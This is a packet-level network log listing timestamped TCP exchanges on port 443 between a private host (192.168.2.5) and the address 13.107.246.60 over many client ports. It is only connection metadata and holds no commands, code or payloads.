Oct 7, 2024 17:22:34.228230000 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.228240967 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.302099943 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.302118063 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.302189112 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.302198887 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.302469969 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.302476883 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.302499056 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.302599907 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.302632093 CEST	443	49806	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.302666903 CEST	49806	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.305141926 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.305175066 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.305238962 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.305366993 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.305378914 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.311240911 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.311300039 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.311336040 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.311490059 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.311495066 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.311503887 CEST	49809	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.311506987 CEST	443	49809	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.313370943 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.313419104 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.313468933 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.313591003 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.313611031 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.313626051 CEST	49807	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.313631058 CEST	443	49807	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.313663006 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.313673973 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.313728094 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.313841105 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.313851118 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.315628052 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.315651894 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:34.315716028 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.315846920 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:34.315857887 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.016683102 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.017261982 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.017292023 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.017726898 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.017735958 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.025677919 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.025998116 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.026025057 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.026385069 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.026391983 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.123943090 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.124650002 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.124680042 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.125174046 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.125185013 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.139584064 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.139590979 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.140101910 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.140109062 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.140120029 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.140145063 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.140528917 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.140535116 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.140608072 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.140614986 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.166429043 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.166539907 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.166630983 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.166793108 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.166822910 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.166836977 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.166843891 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.169821024 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.169868946 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.169955969 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.170109987 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.170120955 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.179795027 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.179881096 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.179954052 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.180068970 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.180092096 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.180108070 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.180113077 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.182328939 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.182368040 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.182444096 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.182583094 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.182595015 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.262659073 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.262737036 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.262795925 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.263845921 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.263978004 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.264025927 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.266311884 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.266345978 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.266361952 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.266371012 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.267497063 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.267507076 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.267519951 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.267524958 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.270689964 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.270735025 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.270806074 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.271226883 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.271267891 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.271310091 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.271414995 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.271430016 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.271496058 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.271507025 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.317344904 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.317831039 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.317902088 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.317939043 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.317939043 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.317959070 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.317969084 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.320416927 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.320467949 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.320533991 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.320693016 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.320708990 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.845191956 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.845815897 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.845833063 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.846317053 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.846323013 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.848718882 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.849083900 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.849111080 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.849483967 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.849492073 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.937292099 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.937743902 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.937756062 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.938186884 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.938190937 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.938484907 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.941217899 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.941230059 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.941726923 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.941731930 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.944557905 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.944808006 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.944928885 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.944982052 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.945023060 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.945038080 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.945048094 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.945053101 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.945660114 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.945713997 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.945775986 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.946213007 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.946228027 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.946238041 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.946243048 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.949140072 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.949177980 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.949239969 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.949429989 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.949440956 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.949516058 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.949523926 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.949668884 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.949827909 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.949835062 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.965140104 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.966315031 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.966352940 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:35.966907024 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:35.966917038 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.032226086 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.032275915 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.032325029 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.032340050 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.032385111 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.032565117 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.032578945 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.032591105 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.032596111 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.033894062 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.034137011 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.034189939 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.034307957 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.034327030 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.034337997 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.034343004 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.035331011 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.035375118 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.035434008 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.035582066 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.035597086 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.036356926 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.036372900 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.037944078 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.038024902 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.038038015 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.060647011 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.060821056 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.060904026 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.061002970 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.061019897 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.061031103 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.061037064 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.063020945 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.063055038 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.063133955 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.063247919 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.063261032 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.945446014 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.945456982 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.945590973 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.946161032 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.946192980 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.946196079 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.946197987 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.946209908 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.946227074 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.946774960 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.946780920 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.947001934 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.947006941 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.947084904 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.947089911 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.947166920 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.947175980 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.947608948 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.947613001 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.947709084 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.947711945 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.947916031 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.947921991 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:36.948395967 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:36.948400974 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.196958065 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.196964025 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.197065115 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.197065115 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.197135925 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.197135925 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.197330952 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.197350025 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.197365046 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.197371960 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.198523045 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.198528051 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.198551893 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.198554993 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.198976040 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.199433088 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.199489117 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.200215101 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.200229883 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.200243950 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.200248957 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.203730106 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.203757048 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.203820944 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.204014063 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.204037905 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.204093933 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.204685926 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.204695940 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.205051899 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.205080986 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.205096960 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.205107927 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.205135107 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.205262899 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.205274105 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.214545012 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.214574099 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.214621067 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.214622974 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.214664936 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.214875937 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.214889050 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.214901924 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.214906931 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.216828108 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.217377901 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.217439890 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.217899084 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.217940092 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.218008041 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.218075991 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.218089104 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.218103886 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.218110085 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.218170881 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.218180895 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.221522093 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.221534967 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:37.221600056 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.221752882 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:37.221760988 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.518079042 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.519418001 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.520020008 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.520050049 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.520632029 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.520636082 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.521008968 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.521014929 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.521401882 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.521405935 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.521513939 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.522794008 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.523232937 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.523310900 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.523313046 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.523322105 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.523618937 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.523633957 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.523885965 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.523890018 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.529567957 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.533376932 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.533409119 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.534090996 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.534096956 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.612349033 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.612391949 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.612442017 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:38.612489939 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.612523079 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.612775087 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:38.612801075 CEST	443	49829	13.107.246.60	192.168.2.5
